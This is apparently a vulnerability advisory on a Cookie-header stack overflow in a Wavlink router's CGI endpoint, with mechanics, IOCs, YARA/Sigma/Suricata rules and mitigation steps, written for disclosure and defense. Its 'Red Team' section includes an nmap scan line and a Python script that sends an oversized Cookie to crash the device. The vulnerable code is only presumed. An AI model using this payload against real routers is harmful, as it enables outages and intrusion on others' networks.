CVE-2025-55847

Executive Summary

CVE-2025-55847 is a critical buffer overflow vulnerability identified in the Wavlink M86X3A_V240730 router firmware. The flaw resides in the /cgi-bin/ExportAllSettings.cgi CGI endpoint, where the Cookie HTTP header is processed without proper length validation. This allows an unauthenticated, remote attacker to overflow a stack buffer, potentially leading to arbitrary code execution or a denial of service (DoS) condition. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept (PoC) has been released. Given the device's exposure to the internet via Shodan, this poses a significant risk to affected networks.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full disclosure of sensitive data is possible.
• Integrity (I): High – The attacker can modify system files or firmware.
• Availability (A): High – A DoS condition can be triggered, or the device can be bricked.

Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this vulnerability highly attractive for botnet recruitment and targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the CGI binary handling the /cgi-bin/ExportAllSettings.cgi endpoint. When a request is sent to this endpoint, the web server parses the Cookie header and copies its value into a fixed-size stack buffer without checking the length. If an attacker sends a Cookie header exceeding the buffer size, the excess data overwrites adjacent stack memory, including the return address and other critical data.

Root Cause: The use of unsafe string copy functions (e.g., strcpy, sprintf) or manual memory operations without bounds checking in the CGI handler.

Attack Flow:

1. The attacker sends an HTTP GET request to /cgi-bin/ExportAllSettings.cgi.
2. The request includes a Cookie header with a value longer than the expected buffer (e.g., 1024+ bytes).
3. The CGI binary copies the cookie value into a stack buffer, causing an overflow.
4. The overflow overwrites the saved return address on the stack.
5. When the function returns, execution jumps to an attacker-controlled address.
6. The attacker can use ROP (Return-Oriented Programming) or shellcode to execute arbitrary commands.

Impact: Full device compromise, including the ability to:

• Install persistent backdoors.
• Exfiltrate network traffic.
• Launch further attacks on internal networks.
• Brick the device (DoS).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to the following pseudo-code:

Vulnerable Code (C-style):

void handle_export_settings() {
    char cookie_buffer[256];
    char *cookie = getenv("HTTP_COOKIE");
    // Unsafe copy - no bounds check
    strcpy(cookie_buffer, cookie);
    // ... process settings export
}

Patched Code (Hypothetical):

void handle_export_settings() {
    char cookie_buffer[256];
    char *cookie = getenv("HTTP_COOKIE");
    // Safe copy with length check
    strncpy(cookie_buffer, cookie, sizeof(cookie_buffer) - 1);
    cookie_buffer[sizeof(cookie_buffer) - 1] = '\0';
    // ... process settings export
}

The patched version uses strncpy with a size limit and ensures null-termination, preventing the overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Wavlink M86X3A router with firmware version V240730.
• Network access to the router's web interface (typically port 80 or 443).
• A tool like curl, python3, or metasploit.

Exploitation Steps:

1. Identify the target: Use Shodan or Nmap to find exposed Wavlink routers.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Craft the exploit payload: Since no public PoC exists, a generic buffer overflow payload can be constructed. The following Python script sends a long Cookie header to trigger the overflow:

   import socket
   
   target_ip = "192.168.1.1"
   port = 80
   
   # Craft a payload: 256 bytes of 'A' + 8 bytes for saved RBP + 8 bytes for return address
   payload = b"A" * 256 + b"BBBBBBBB" + b"\x90" * 8  # NOP sled placeholder
   # In a real exploit, replace the return address with a pointer to shellcode
   
   request = (
       f"GET /cgi-bin/ExportAllSettings.cgi HTTP/1.1\r\n"
       f"Host: {target_ip}\r\n"
       f"Cookie: {payload.decode('latin-1')}\r\n"
       f"Connection: close\r\n\r\n"
   )
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, port))
   sock.send(request.encode('latin-1'))
   response = sock.recv(4096)
   print(response.decode('latin-1'))
   sock.close()
   

3. Observe the crash: If the router becomes unresponsive or reboots, the overflow was successful.

Note: This is a simplified example. A full exploit would require reverse engineering the firmware to find the exact offset to the return address and bypass any mitigations (e.g., ASLR, NX).

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor HTTP requests: Look for abnormally long Cookie headers in web server logs.
2. Network traffic analysis: Use Suricata or Zeek to detect oversized headers.
3. Endpoint monitoring: On the router, monitor for crashes or unexpected reboots.

Mitigation Steps:

1. Isolate the device: Place the router behind a firewall and restrict access to the web interface to trusted IPs only.
2. Disable remote management: If not needed, turn off remote access to the router's admin panel.
3. Apply virtual patching: Use a WAF (Web Application Firewall) to block requests with Cookie headers exceeding a reasonable length (e.g., 1024 bytes).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /cgi-bin/ExportAllSettings.cgi with Cookie headers longer than 1024 bytes.
  • Unusual outbound connections from the router to unknown IPs (e.g., on ports 4444, 31337).
  • Repeated router reboots or crashes.

• Host IOCs:

  • Modified firmware or unexpected files in /tmp or /var.
  • New processes running as root (e.g., /bin/sh, /tmp/backdoor).
  • Log entries showing segmentation faults or kernel panics.

• File IOCs:

  • Suspicious binaries in /tmp (e.g., mips or arm ELF files).
  • Changes to /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2025_55847_Wavlink_BOF {
    meta:
        description = "Detects exploit attempts for CVE-2025-55847 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55847"
    strings:
        $cookie_long = /Cookie:\s*.{1024,}/ nocase
        $uri = "/cgi-bin/ExportAllSettings.cgi" nocase
    condition:
        $uri and $cookie_long
}

Sigma Rule

title: CVE-2025-55847 Wavlink Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with excessively long Cookie headers targeting Wavlink routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/cgi-bin/ExportAllSettings.cgi"
        cs(Cookie)|length: >= 1024
    condition: selection
falsepositives:
    - Legitimate long cookies from some applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55847 Wavlink Buffer Overflow Attempt"; flow:to_server; content:"/cgi-bin/ExportAllSettings.cgi"; http_uri; content:"Cookie"; http_header; pcre:"/Cookie:\s*.{1024,}/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management on the Wavlink router if not required.
2. Restrict access to the web interface using firewall rules (e.g., allow only from trusted IPs).
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Vendor Patch: Contact Wavlink for a firmware update. Since no patch is available, consider replacing the device with a more secure alternative.
• Virtual Patching: Deploy a WAF or IPS rule to block oversized Cookie headers.
• Network Segmentation: Place IoT devices like routers on a separate VLAN to limit blast radius.

Workaround:

• If the device cannot be replaced, manually edit the firmware (if possible) to add bounds checking, or use a reverse proxy to sanitize headers.

Valters IT